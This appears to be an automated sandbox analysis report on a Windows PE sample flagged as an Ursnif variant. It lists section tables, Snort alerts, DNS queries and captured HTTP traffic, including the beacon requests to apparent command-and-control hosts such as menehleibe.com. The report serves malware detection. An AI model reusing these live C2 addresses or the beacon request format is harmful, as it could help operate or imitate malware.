Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x24b62 0x24c00 False 0.764774659864 data 6.93749374769 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rdata 0x26000 0x9182 0x9200 False 0.418049015411 data 4.70373356685 IMAGE_SCN_CNT_INITIALIZED_
DATA, IMAGE_SCN_MEM_READ

.data 0x30000 0xe000 0x4800 False 0.351616753472 data 3.54953091809 IMAGE_SCN_CNT_INITIALIZED_
DATA, 
IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.rsrc 0x3e000 0x1e0 0x200 False 0.53125 data 4.71767883295 IMAGE_SCN_CNT_INITIALIZED_
DATA, IMAGE_SCN_MEM_READ

Static PE Info

Entrypoint Preview

Rich Headers

Data Directories

Sections
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aZAqrnJo 0x3f000 0x3819 0x3a00 False 0.371901939655 data 4.84589461101

BGOllIzc 0x43000 0x4896 0x4a00 False 0.430796030405 data 4.44387669298

yQtoRARz 0x48000 0xcbc0 0xcc00 False 0.348268995098 data 4.58448491924

dZLJZOuu 0x55000 0x60359 0x60400 False 0.332028713474 data 4.87800746939

sdDGHbsk 0xb6000 0x18385 0x18400 False 0.45299412049 data 5.29827826108

cQfsAIeK 0xcf000 0x3eeae 0x3f000 False 0.307458302331 data 5.32329417249

nJjdtQIB 0x10e000 0xff4f 0x10000 False 0.380676269531 data 4.75106212908

pcHOcQzM 0x11e000 0x607b 0x6200 False 0.496970663265 data 5.22222913281

wDcvvqlu 0x125000 0xa629 0xa800 False 0.457333519345 data 5.40009906885

orXBiygL 0x130000 0x28f16 0x29000 False 0.254954268293 data 4.87572841572

AiZKCfrK 0x159000 0x3c8b 0x3e00 False 0.276272681452 data 3.80209006598

myoGvTPf 0x15d000 0x27a 0x400 False 0.330078125 data 3.13663618281

AVTlzkED 0x15e000 0x4162 0x4200 False 0.383877840909 data 4.89078285751

bzLENpIH 0x163000 0x889a 0x8a00 False 0.345957880435 data 4.43979752948

XcYnViEt 0x16c000 0x59825 0x59a00 False 0.332216483612 SysEx File - 5.94377045532

mbKhPZXg 0x1c6000 0x944 0xa00 False 0.384375 data 4.46068376218

lUpFJlcq 0x1c7000 0x93 0x200 False 0.150390625 data 1.08603487889

yiDSdvAK 0x1c8000 0x29c49 0x29e00 False 0.292000932836 data 6.01702880808

tWLpgAgw 0x1f2000 0x1d3fb 0x1d400 False 0.329794337607 data 4.73500817041

bTGdVUjl 0x210000 0x1c142 0x1c200 False 0.322222222222 data 4.78096652478

ziIDaoXi 0x22d000 0xbd62 0xbe00 False 0.364823190789 data 4.66321532752

LzawvTwX 0x239000 0x21626 0x21800 False 0.1875 data 3.92488643682

LnIDzdzd 0x25b000 0x8000 0x8000 False 0.382080078125 data 4.73126113063

wkCXpCGo 0x263000 0x44a5 0x4600 False 0.351897321429 data 4.65104155262

nqpeKqho 0x268000 0x828a 0x8400 False 0.332682291667 data 4.39080198834

MRjgEOqy 0x271000 0x1cca 0x1e00 False 0.403776041667 data 5.16290821803

JcLmCXgA 0x273000 0xb8dc 0xba00 False 0.34627016129 data 4.63415459895

OtycdIdu 0x27f000 0x10649 0x10800 False 0.418235085227 data 5.25113561119

IbVOTdPC 0x290000 0x4b5 0x600 False 0.34375 data 3.25550625419

FgFHDyjf 0x291000 0x10775 0x10800 False 0.400153882576 data 4.92204812869

ybeqBvHg 0x2a2000 0xa663 0xa800 False 0.433430989583 data 5.16751770906

IbzUQYJs 0x2ad000 0x317f 0x3200 False 0.33484375 data 5.16903653942

AQBgSYnS 0x2b1000 0x3001 0x3200 False 0.395390625 data 5.13205626758

XxFUmGWX 0x2b5000 0x7fa3 0x8000 False 0.342498779297 data 4.64166784079

afVQQtfj 0x2bd000 0x1766 0x1800 False 0.4306640625 data 5.22679049555

nwvMTysA 0x2bf000 0x95de 0x9600 False 0.408567708333 data 4.91622055711

ZHPQhgLD 0x2c9000 0x31ea 0x3200 False 0.443125 data 5.40153365825

pxMMJkwk 0x2cd000 0xf4a0 0xf600 False 0.285410315041 data 4.15839164982

JXHCNYcJ 0x2dd000 0x645 0x800 False 0.384765625 data 3.87209019024

lYRopDTG 0x2de000 0x46ef 0x4800 False 0.217881944444 data 3.87911693157

bcYTpMaT 0x2e3000 0xb1b4 0xb200 False 0.446980337079 data 5.30459672358

nuBezWiu 0x2ef000 0xef16 0xf000 False 0.266731770833 data 4.54407396418

yPvpmSBg 0x2fe000 0x7d39 0x7e00 False 0.324776785714 data 4.31832937377

OoEfGgTM 0x306000 0x2239 0x2400 False 0.461805555556 data 4.81294100952

kYRGCWEC 0x309000 0x13560 0x13600 False 0.361365927419 data 4.61084789586

ssiFbfZW 0x31d000 0xfd20 0xfe00 False 0.397991510827 data 4.83645609944

KHKSQqok 0x32d000 0x2e91 0x3000 False 0.551106770833 data 6.15665163676

NcZcjaDP 0x330000 0x8baf 0x8c00 False 0.358286830357 data 4.53824163163

mIUEylgT 0x339000 0x2abec 0x2ac00 False 0.225660179094 data 3.89084100028

lluFjCpP 0x364000 0x1242 0x1400 False 0.3734375 data 4.01527750922

BHqNuAAF 0x366000 0x2fe5 0x3000 False 0.404296875 data 5.07399713959

dWFkhiaJ 0x369000 0xe12b 0xe200 False 0.451552129425 data 5.04492106469

NeKPPFmp 0x378000 0x10dc 0x1200 False 0.41015625 data 4.74787400821

mRaJxCpw 0x37a000 0x2d55 0x2e00 False 0.40090013587 data 5.08071078207

sjZRApAc 0x37d000 0x51e6 0x5200 False 0.340224847561 data 4.57864669136

mJuapRBt 0x383000 0x2896 0x2a00 False 0.399181547619 data 5.11002345911

AUQwTDRB 0x386000 0x6513 0x6600 False 0.320465686275 data 4.31847897425

Mzpcxreq 0x38d000 0x82bc 0x8400 False 0.261156486742 data 3.767572246

DQLewjlc 0x396000 0x22a9 0x2400 False 0.397135416667 data 5.07745042262

yQzDovRx 0x399000 0x187 0x200 False 0.44140625 data 2.58744007464

KsasGyWE 0x39a000 0x341c 0x3600 False 0.452618634259 data 4.59764407477

qALhWEsZ 0x39e000 0x978 0xa00 False 0.408984375 data 4.298132059

EhLKChYp 0x39f000 0xc9c7 0xca00 False 0.356725711634 data 4.56772549135

juiuAwmE 0x3ac000 0x805 0xa00 False 0.3203125 data 3.84392745238

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics
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Snort IDS Alerts

Network Port Distribution

FPCcnPuO 0x3ad000 0x30066 0x30200 False 0.185328733766 data 5.48813033427

DQPOFovS 0x3de000 0x2e49 0x3000 False 0.396647135417 data 5.03014687317

eeLebknr 0x3e1000 0x165f 0x1800 False 0.357421875 data 3.82572779856

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

09/14/21-
16:03:19.921633

TCP 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 49737 80 192.168.2.6 173.239.8.164

09/14/21-
16:03:19.921633

TCP 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 49737 80 192.168.2.6 173.239.8.164

09/14/21-
16:03:20.611062

TCP 2030821 ET MALWARE Win32/Zonebac Traffic Redirect 49737 80 192.168.2.6 173.239.8.164

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Sep 14, 2021 16:03:19.723831892 CEST 192.168.2.6 8.8.8.8 0x9451 Standard query 
(0)

menehleibe.com A (IP address) IN (0x0001)

Sep 14, 2021 16:03:21.819623947 CEST 192.168.2.6 8.8.8.8 0x1065 Standard query 
(0)

mybetterdl.com A (IP address) IN (0x0001)

Sep 14, 2021 16:03:22.631850958 CEST 192.168.2.6 8.8.8.8 0x9179 Standard query 
(0)

p226681.my
betterdl.com

A (IP address) IN (0x0001)

Sep 14, 2021 16:03:23.476247072 CEST 192.168.2.6 8.8.8.8 0xd2e1 Standard query 
(0)

gertrk.com A (IP address) IN (0x0001)

Sep 14, 2021 16:03:24.063437939 CEST 192.168.2.6 8.8.8.8 0xb4d3 Standard query 
(0)

google.com A (IP address) IN (0x0001)

Sep 14, 2021 16:03:24.214965105 CEST 192.168.2.6 8.8.8.8 0x6538 Standard query 
(0)

www.google.com A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Sep 14, 2021 
16:03:19.756581068 
CEST

8.8.8.8 192.168.2.6 0x9451 No error (0) menehleibe.com 173.239.8.164 A (IP address) IN (0x0001)

Sep 14, 2021 
16:03:19.756581068 
CEST

8.8.8.8 192.168.2.6 0x9451 No error (0) menehleibe.com 74.206.228.78 A (IP address) IN (0x0001)

Sep 14, 2021 
16:03:19.756581068 
CEST

8.8.8.8 192.168.2.6 0x9451 No error (0) menehleibe.com 173.239.5.6 A (IP address) IN (0x0001)

Resources

Imports

Possible Origin

TCP Packets

UDP Packets

DNS Queries

DNS Answers
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Sep 14, 2021 
16:03:21.848687887 
CEST

8.8.8.8 192.168.2.6 0x1065 No error (0) mybetterdl.com 173.192.101.24 A (IP address) IN (0x0001)

Sep 14, 2021 
16:03:22.679900885 
CEST

8.8.8.8 192.168.2.6 0x9179 No error (0) p226681.my
betterdl.com

173.192.101.24 A (IP address) IN (0x0001)

Sep 14, 2021 
16:03:23.514079094 
CEST

8.8.8.8 192.168.2.6 0xd2e1 No error (0) gertrk.com 168.119.139.96 A (IP address) IN (0x0001)

Sep 14, 2021 
16:03:24.098937035 
CEST

8.8.8.8 192.168.2.6 0xb4d3 No error (0) google.com 142.250.203.110 A (IP address) IN (0x0001)

Sep 14, 2021 
16:03:24.244478941 
CEST

8.8.8.8 192.168.2.6 0x6538 No error (0) www.google.com 142.250.102.106 A (IP address) IN (0x0001)

Sep 14, 2021 
16:03:24.244478941 
CEST

8.8.8.8 192.168.2.6 0x6538 No error (0) www.google.com 142.250.102.105 A (IP address) IN (0x0001)

Sep 14, 2021 
16:03:24.244478941 
CEST

8.8.8.8 192.168.2.6 0x6538 No error (0) www.google.com 142.250.102.99 A (IP address) IN (0x0001)

Sep 14, 2021 
16:03:24.244478941 
CEST

8.8.8.8 192.168.2.6 0x6538 No error (0) www.google.com 142.250.102.147 A (IP address) IN (0x0001)

Sep 14, 2021 
16:03:24.244478941 
CEST

8.8.8.8 192.168.2.6 0x6538 No error (0) www.google.com 142.250.102.104 A (IP address) IN (0x0001)

Sep 14, 2021 
16:03:24.244478941 
CEST

8.8.8.8 192.168.2.6 0x6538 No error (0) www.google.com 142.250.102.103 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
menehleibe.com

mybetterdl.com
p226681.mybetterdl.com
gertrk.com

            
www.google.com

            
https:

            
google.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.6 49739 173.192.101.24 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.6 49741 173.192.101.24 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

10 192.168.2.6 49748 142.250.203.110 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

HTTP Request Dependency Graph

HTTP Packets
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Sep 14, 2021 
16:03:24.150072098 CEST

1064 OUT GET / HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: google.com
Connection: Keep-Alive

Sep 14, 2021 
16:03:24.203008890 CEST

1071 IN HTTP/1.1 301 Moved Permanently
Location: http://www.google.com/
Content-Type: text/html; charset=UTF-8
Date: Tue, 14 Sep 2021 14:03:24 GMT
Expires: Thu, 14 Oct 2021 14:03:24 GMT
Cache-Control: public, max-age=2592000
Server: gws
Content-Length: 219
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 
74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 
22 3e 0a 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 
0a 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 
65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 22 3e 68 65 72 65 
3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 
Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>301 Moved</TI
TLE></HEAD><BODY><H1>301 Moved</H1>The document has moved<A HREF="http://www.google.com/">here</A>.<
/BODY></HTML>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

11 192.168.2.6 49749 142.250.102.106 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Sep 14, 2021 
16:03:24.290153980 CEST

1071 OUT GET / HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host: www.google.com

Sep 14, 2021 
16:03:24.355325937 CEST

1072 IN HTTP/1.1 302 Found
Location: https://www.google.com/?gws_rd=ssl
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Tue, 14 Sep 2021 14:03:24 GMT
Server: gws
Content-Length: 231
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 
74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 
22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 
0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 
65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3f 67 77 73 5f 72 
64 3d 73 73 6c 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 
Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TI
TLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/?gws_rd=ssl
">here</A>.</BODY></HTML>

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.6 49743 168.119.139.96 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.6 49744 168.119.139.96 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.6 49746 168.119.139.96 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
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Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.6 49751 142.250.102.106 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.6 49752 142.250.102.106 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.6 49755 142.250.102.106 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.6 49757 142.250.102.106 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.6 49737 173.239.8.164 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Sep 14, 2021 
16:03:19.921633005 CEST

1024 OUT GET /images/bjM3gVEtKlUeWm2NnKw3/UycpbcugJuZhqNGVGh8/kwk4esZ_2F2xjDYD_2BSa_/2F328cjxY6AQM/
kA5SneVc/JKL1AVTBXoV77D1JaKVgbri/d8lSYHOR5C/_2FOPoUzuMMso_2Bp/A_2Ffbx4wppa/aSm6IWIjM6R/Y44
GbYY.avi HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: menehleibe.com
Connection: Keep-Alive

Sep 14, 2021 
16:03:20.024328947 CEST

1024 IN HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0
Date: Tue, 14 Sep 2021 14:03:19 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://menehleibe.com/
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 
65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 
3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 
3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 
Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>ng
inx/1.18.0</center></body></html>

Sep 14, 2021 
16:03:20.027059078 CEST

1024 OUT GET / HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: menehleibe.com
Connection: Keep-Alive
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Sep 14, 2021 
16:03:20.137682915 CEST

1025 IN HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 14 Sep 2021 14:03:20 GMT
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip
Data Raw: 66 38 0d 0a 1f 8b 08 00 00 00 00 00 04 03 7d 90 bd 6e c3 30 0c 84 f7 3c 85 a0 29 19 6a 75 c9 d0 96 d6 50 a0 
43 81 be 43 20 4b 74 44 40 7f 95 a9 04 7e fb ca 49 d0 a1 43 37 1e 70 c7 fb 48 f0 1c 83 06 8f c6 69 88 c8 46 78 e6 f2 84 df 
8d 2e a3 ac 38 57 5c bc 14 36 27 c6 c4 a3 3c be 89 56 c3 b8 99 5e 95 ba 5e 5f 86 88 09 7d 40 9a 70 b0 39 2a a9 81 89 03 
ea af 6c 1c a5 33 a8 bb 04 75 eb d8 c1 94 dd aa 61 ce 35 8a de e7 b3 1b 65 c9 0b 4b 61 2c 53 4e a3 7c ec fe bb 57 b0 a9 
67 ec 08 27 ce 45 0a ea b9 3a f7 36 4a a5 b1 e0 b5 60 8f 92 73 98 a4 48 26 76 45 56 8a 8b 09 ad 8f cf ff 1a e7 e9 d7 c8 
b5 a1 54 1a d4 06 a8 77 b0 d8 4a 85 b5 cb b6 75 20 1e 3a c1 47 c0 6d 7c 5f 3f dd 7e 43 38 0c 4b 9b 22 f1 fe 00 ea 61 07 
75 bf 52 dd be fb 03 9f 2c e3 4e 64 01 00 00 0d 0a 30 0d 0a 0d 0a 
Data Ascii: f8}n0<)juPCC KtD@~IC7pHiFx.8W\6'<V^^_}@p9*l3ua5eKa,SN|Wg'E:6J`sH&vEVTwJu :Gm|_?~C8K"auR,Nd0

Sep 14, 2021 
16:03:20.611062050 CEST

1025 OUT POST / HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Referer: http://menehleibe.com/
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: menehleibe.com
Content-Length: 12
Connection: Keep-Alive
Cache-Control: no-cache
Data Raw: 69 63 3d 30 26 66 62 3d 74 72 75 65 
Data Ascii: ic=0&fb=true

Sep 14, 2021 
16:03:21.647305965 CEST

1027 IN HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 14 Sep 2021 14:03:21 GMT
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: ipc=eyJ2ZXJzaW9uIjoxLCJzdWJJZCI6MywiZm9sZGVySWQiOjEsImZlZWRJZCI6MjEsInRzIjoxNjMxNjI4MjAx
LCJoYXNoIjoiN2E3ZmJiNTgifQ==;Expires=Tue, 14-Sep-2021 15:03:21 GMT;Max-Age=3600
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Encoding: gzip
Data Raw: 35 32 32 0d 0a 1f 8b 08 00 00 00 00 00 04 03 35 95 b7 d2 ab 58 02 84 f3 7d 8a a9 9b 4c c4 fc b8 83 99 d5 fd 
b7 00 21 40 08 e1 6d a2 c2 7b 23 38 08 f3 f4 7b 6b 4c d8 1d 74 57 75 f0 f5 a5 82 7d f7 7d a9 f2 38 fb be f4 39 8c 7f 1b e2 
3e ff f9 63 ce 8b 7c 9e f3 f9 c7 6f e9 38 c0 7c 80 3f 7f 0c 23 f2 af 8b 6c 55 3e 20 d9 b8 0d e5 1c 67 f9 8f ef 0b ac 61 97 7f 3f
c6 38 ab 87 f2 f2 f5 b7 bc 7c fd 95 fb 9f 4b 32 66 c7 f7 65 49 e7 7a 82 df dd 98 c6 b0 1e 87 3f aa 5f 71 3f 7f af 20 9c 96 3f 
bf be fa 23 c9 21 cc e7 ac fb 23 1d fb af d8 fe 2a f2 3c 4b bb 3a 6d ff b7 fc 34 7a 4b 4b 01 2d 0c 55 58 35 34 9a 23 0a db 1
e a0 2d ee f9 ac 56 db de 15 b6 e6 12 f0 58 f7 d7 0e 38 29 9a 7d d7 b0 ef bd 71 3e f1 94 2d 70 91 7e 7d b8 27 42 4d 8c 34 
f5 d7 48 62 1c 61 75 22 6a ba 8e e2 d6 1d f1 84 b7 d1 52 9e 3c d9 c9 28 ba 96 4c 0e c4 5d 39 17 44 e2 8f 7b bb bd aa 61 
7c c8 be e7 3e f0 32 28 dd 23 86 0b 7f d3 62 db 49 31 cb 04 d6 de 9a 06 ff 3e 0e 67 20 52 18 3c 8f 17 ba da b2 65 ef 6d af 
1f 8c 27 6b 29 03 24 45 77 c8 a6 5f 72 46 4e 47 e4 36 69 5d c2 5a f2 0e 28 6f 6f 9e b8 09 6f 4f 8c a5 3f 8f b9 68 23 f6 2d 
02 94 85 20 b6 c2 a2 45 0b 27 8e 14 69 93 a0 77 db 29 a1 49 31 05 32 1f d5 1b 33 05 37 47 61 78 e4 8f f5 e4 df fb 6c 87 
72 3d 1c 96 52 5b 94 7d 3a 41 cc 17 ac 21 53 45 0a 08 46 03 be f8 d1 3e 55 13 af ae 2c ad 49 c3 52 d8 4c 03 d5 6d 54 68 
07 83 1c 43 f9 2d ae f5 b1 3a da e1 37 d6 d1 08 aa 26 09 eb 1c d9 cc 2b 49 dd 98 84 f7 b2 ad 9d 23 c8 04 d0 be 4c 52 e0 
d7 53 ac 4a b5 1b 5f 50 27 23 61 6f 84 77 b2 df 5b 60 9e bf a6 d2 b6 6d 11 d5 2d 46 f8 ea 35 ad 1b 4e a1 b2 18 fa 72 22 
73 7b 55 49 59 77 d7 10 e5 05 b1 7d af bc 0f 61 9b 7d 82 af 5b c2 02 ab 93 34 9a 7b 4f ba ec 79 37 4a 2c 8d 16 92 31 00 
da 11 79 43 b0 7a 6d 39 bb 1d 16 b7 9e 9e d6 75 a5 74 ef 38 1a ed 31 c7 c3 ee 9c 69 d4 bf bd cb 99 e2 aa 31 4e 4c 9b 3f 
85 66 bd 87 cf 89 2c 37 37 f4 50 cf ff 58 51 dc f4 ae af bf bc 7d 64 b4 07 52 35 ee 32 1b 32 83 fe 6a 74 fb eb be 86 e4 87 
a9 07 71 1c 91 03 79 0f 87 8b 52 13 ee 56 84 b1 b1 61 f6 0c af 80 51 54 52 50 05 29 e5 10 37 ee d9 2c 5d 16 c4 41 80 b2 
26 e4 1d 03 32 45 6f b7 08 5f 86 f3 f4 27 ff 14 55 81 0d 5c dd 1a f3 57 96 0c 62 c9 55 f2 fe 1a e8 88 84 9e 1e 66 3e e8 7c 
6a 5e af c6 3b ce e5 14 5d cf d4 71 d9 a4 ec 5f f5 80 f8 78 07 3e e3 bc 1b b7 de 8c 9d 9b 92 1e 24 0f ca 55 1f b4 3b 38 22 
f9 61 5e 01 4d ed a1 9f 18 28 11 6b 0c 91 39 9b 48 b4 da 34 9c 82 80 79 80 47 88 2a c8 c0 74 16 3b 46 4b 76 e4 ae b8 2a 
07 4a 3f 76 47 3b f7 4e 7c 4a 91 da 6b 7c 25 82 f9 8c 6b 92 b3 82 b2 73 34 ba 33 b8 4e 59 96 ac 29 87 4e 2f 79 3d f1 86 
07 95 69 f3 d3 f0 c8 ed 48 bd 80 58 80 be c3 bb 16 e4 99 e0 8b f8 0c 92 fa a9 a7 01 71 00 a3 df 10 94 77 33 3e 
Data Ascii: 5225X}L!@m{#8{kLtWu}}89>c|o8|?#lU> ga?8|K2feIz?_q? ?#!#*<K:m4zKK-UX54#-VX8)}q>-p~}'BM4Hb
au"jR<(L]9D{a|>2(#bI1>g R<em'k)$Ew_rFNG6i]Z(oooO?h#- E'iw)I1237Gaxlr=R[}:A!SEF>U,IRLmThC-:7&+I#LRSJ_
P'#aow[`m-F5Nr"s{UIYw}a}[4{Oy7J,1yCzm9ut81i1NL?f,77PXQ}dR522jtqyRVaQTRP)7,]A&2Eo_'U\WbUf>|j^;]q_x>$U
;8"a^M(k9H4yG*t;FKv*J?vG;N|Jk|%ks43NY)N/y=iHXqw3>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.6 49739 173.192.101.24 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

HTTPS Proxied Packets
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2021-09-14 14:03:22 UTC 0 OUT GET /aS/feedclick?s=PmRMc57CnhYhj70e-I9ky5kfJerKhwxlfSMU3tyux_x5AGZrWUPSJmPzN2c9f2E7_vAN-6
p8GpmDZG8TCuTZ6pDoEwlyap2kZsgzB4lH00ug8e5ExIzs-GByJkw_hnoLHWVUL2gXgUyatsBFMaSTc1RQ5RxkQPBq
yyTn3ctXNy_0uSHRSxkmOy8VHMc85GIOT4jmse8Hco-FpMlb9RHx56VxjN2QtFN197vLrfkZ9qE509t5aRYfk0fTaZ
IGwGtVFx6Cjc1It8vKVodI2QoCnLeLuzBqxrSYHinyRIiR6SzTXaBf9PH6fc538M5WEvMvhjauUHGubj961r75KUjK
tSXnHatHqEuiyuTMyWjRyjCKMGCurZS8_bcUa4tJgkiTyXdC5k_Q4CBuzEhgKlo_tO4ZCxjCqbxJk5Qzkw_MwwsEKwa-
Bh_puw260HEYWHbHAxhhGdlJM-I_t1xxhVv3SQmb2uwb95RlGM7AqpOHVVF6EgPkt4a55MyZVnXuVkgrUl1akVOc
iihIlqaZoSoe2Ylzr70WFqgr6AhoabQSBzCjuJYNp4gwUYV0VWvRZajmUWO_Vxo8ML-hjUsrPH807AqUmDxuY4v8inEoo-y-
qnyU06p2Uh3Pw9YdNYD58IK4CKCGcA-Uam9dcss-T-5Iub4J15H67wFZ2snzzWpWzEKC9XUORoe_dbnEgAhH
x_n7Z4tVOYdW5lW6ruDPqaeHc0uzcTU9bgm_in-W2l5vorxPFmQaTFIcy4B5guOnMJ5yZHLQD576xYWbP03aM83dTw
E3kMpnzCC1V5B-3hXd5pzfx17GSZUu2KHXImolykrmTazGZKmMBhE5rzai4ARXglTM7lPAlIssdjgnlOgBObVnL6dM
rNPV4wycVX3s5OxtJMXedCWE2r5biNOcX3y5Pmw-0BUdBZv7MvlSTP2Fk9AaabOem2Q73GpjsG_dwXVnUc2FH6zZuq
